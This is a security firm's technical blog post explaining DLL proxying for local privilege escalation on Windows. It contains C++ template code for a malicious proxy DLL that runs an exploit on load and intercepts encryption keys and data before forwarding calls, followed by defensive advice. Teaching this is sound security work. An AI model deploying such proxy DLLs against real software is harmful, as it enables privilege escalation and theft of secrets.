Vous êtes victime d’un incident de sécurité ? Contactez notre CERT

11/03/2025

Blog technique

A way to find LPE in Windows App Part 2: How to perform a DLL proxying

Team CESTI

In the previous article, we explained how to find a Local Privilege Escalation using DLL sideloading. At the end, we observed the app crash after using the DLL of the attacker. 

Why did it crash?

After loading the DLL, an exported function of this DLL is called, but this function is not implemented. After executing our payload, the product calls functions of the DLL (that it believes legitimate). As the function does not exist, the program crashes. Only the payload is executed.

 

To avoid this behavior, the DLL has to export the same functions as the original one. Did we have to code the whole DLL to add our payload at the loading step? Definitely not. The DLL proxying method can be used.

DLL Proxying in theory

The DLL proxying is a method that allows to call a legitimate DLL from a malicious one, without implementing it. This technique also allows to change any input provided by the caller, or output returned by the trusted DLL’s function. Here is an example:
To proxy a function, you need to know the name of this function. This name can be found in the exported functions list. A few techniques can then be used to implement this attack.

DLL Proxying in real life

The easiest way to perform a call redirection is to use the linker technique with the export parameter, as shown below.
#pragma comment(linker, "/export:exportedFunction1=True_DLL.exportedFunction1")
#pragma comment(linker, "/export:exportedFunction2=True_DLL.exportedFunction2")
#pragma comment(linker, "/export:exportedFunction3=True_DLL.exportedFunction3")

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason,LPVOID lpvReserved)
{
    switch(fdwReason)
    {
        case DLL_PROCESS_ATTACH:
            Exploit();
            break;

        case DLL_THREAD_ATTACH:
            break;

        case DLL_THREAD_DETACH:
            break;

        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}
This technique seems to be very powerful and fast, but if the app calls a lot of exported functions, it can be a nightmare to link the whole exported functions list.

This step can be automated, and there are multiple open-source projects that can be used for this purpose. In a Github project, the developer Magnus has compiled a collection of DLL functions export forwards for DLL export functions proxying. He also proposes a script to get the exported functions of a DLL.

$ ./exports.py version.dll
binary: version.dll
image base: 0x0000000180000000 (6442450944)
architecture: 64-bit
+----------------------------+--------------------------------+------------------+-----------+
| name                       | address (imagebase + relative) | relative address | ordinal   |
+----------------------------+--------------------------------+------------------+-----------+
| GetFileVersionInfoA        | 0x00000001800010f0             | 0x000010f0       | 1 (0x1)   |
| GetFileVersionInfoByHandle | 0x0000000180002370             | 0x00002370       | 2 (0x2)   |
| GetFileVersionInfoExA      | 0x0000000180001e90             | 0x00001e90       | 3 (0x3)   |
| GetFileVersionInfoExW      | 0x0000000180001070             | 0x00001070       | 4 (0x4)   |
| GetFileVersionInfoSizeA    | 0x0000000180001010             | 0x00001010       | 5 (0x5)   |
| GetFileVersionInfoSizeExA  | 0x0000000180001eb0             | 0x00001eb0       | 6 (0x6)   |
| GetFileVersionInfoSizeExW  | 0x0000000180001090             | 0x00001090       | 7 (0x7)   |
| GetFileVersionInfoSizeW    | 0x00000001800010b0             | 0x000010b0       | 8 (0x8)   |
| GetFileVersionInfoW        | 0x00000001800010d0             | 0x000010d0       | 9 (0x9)   |
| VerFindFileA               | 0x0000000180001ed0             | 0x00001ed0       | 10 (0xa)  |
| VerFindFileW               | 0x0000000180002560             | 0x00002560       | 11 (0xb)  |
| VerInstallFileA            | 0x0000000180001ef0             | 0x00001ef0       | 12 (0xc)  |
| VerInstallFileW            | 0x0000000180003320             | 0x00003320       | 13 (0xd)  |
| VerLanguageNameA           | KERNEL32.VerLanguageNameA      | 0x00004e6c       | 14 (0xe)  |
| VerLanguageNameW           | KERNEL32.VerLanguageNameW      | 0x00004e97       | 15 (0xf)  |
| VerQueryValueA             | 0x0000000180001030             | 0x00001030       | 16 (0x10) |
| VerQueryValueW             | 0x0000000180001050             | 0x00001050       | 17 (0x11) |
+----------------------------+--------------------------------+------------------+-----------+

Edit & Steal

It’s interesting to execute a payload and proxy the whole other functions, but how can we intercept the transferred data? How to steal, log or even edit them? In real life, it can’t be as simple as a linker. You have to recreate the function targeted as a real DLL exported function. But instead of reimplementing the function, you simply intercept the incoming parameter and call the real function from the original DLL.
To implement this part, you have to know the function prototype and define it as a type in your code. It can be done by reading the documentation of the original DLL to know the structure or, in most cases, to reverse engineer the DLL to identify it.
typedef BOOL (WINAPI *encryptionFunc)(HCRYPTKEY Key, BYTE *Data);
After this long step, you only need to load the function of the original library and call it. In the following example, the Steal_Data_and_Key() function represents where you can steal or edit the incoming parameter. The Payload() function represents where you can perform a direct LPE (this code has not been tested).
#include <windows.h>
#include <wincrypt.h>
#include <fstream>
#include <iostream>

#pragma comment(linker, "/export:exportedFunction1=True_DLL.exportedFunction1")
#pragma comment(linker, "/export:exportedFunction2=True_DLL.exportedFunction2")
#pragma comment(linker, "/export:exportedFunction3=True_DLL.exportedFunction3")

// Function pointer to the real encryption function
typedef BOOL (WINAPI *encryptionFunc)(HCRYPTKEY Key, BYTE *Data);

// Pointer to the real encryption function
encryptionFunc Real_encryption = nullptr;

// Load the real dll and get the address of encryption
BOOL LoadRealencryption()
{
    HMODULE hModule = LoadLibrary(TEXT("advapi32.dll"));
    if (hModule)
    {
        Real_encryption = (encryptionFunc)GetProcAddress(hModule, "encryption");
        if (Real_encryption)
        {
            return TRUE;
        }
    }
    return FALSE;
}

// Proxy function for encryption
extern "C" __declspec(dllexport) BOOL WINAPI encryption(HCRYPTKEY Key, BYTE *Data)
{
    // Log the parameters to a temporary file
    Steal_Data_and_Key(Key, Data);

    // Call the real encryption function
    if (LoadRealencryption())
    {
        return Real_encryption(Key, Data);
    }
    return FALSE;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason,LPVOID lpvReserved)
{
    switch(fdwReason)
    {
        case DLL_PROCESS_ATTACH:
            Exploit();
            break;

        case DLL_THREAD_ATTACH:
            break;

        case DLL_THREAD_DETACH:
            break;

        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

How to protect your program from this type of attack?

To protect a product from this technique, it is possible to:

  • Specify the full path to its library instead of loading it with only its name (use an absolute path instead of a relative one),
  • Verify the DLL signature.

Furthermore, to check if this vulnerability can be exploited and if the program is vulnerable, it can be executed with Process Monitor in background (with a filter on “Not Found”) to find a forgotten bad call to an unavailable library.

Voir les derniers articles de notre Blog technique

22 juillet 2025
M&NTIS Platform est une solution SaaS destinée au test d'efficacité de produits de défense et d'architectures de supervision. Une nouvelle […]
16 juillet 2025
Découvrez cette synthèse est réalisée par nos experts du SEAL, à partir des recommandations du NIST et de l’ANSSI.
24 juin 2025
Un premier billet a traité en détails l’échange de clé. Ce nouveau billet a pour sujet le reste de la […]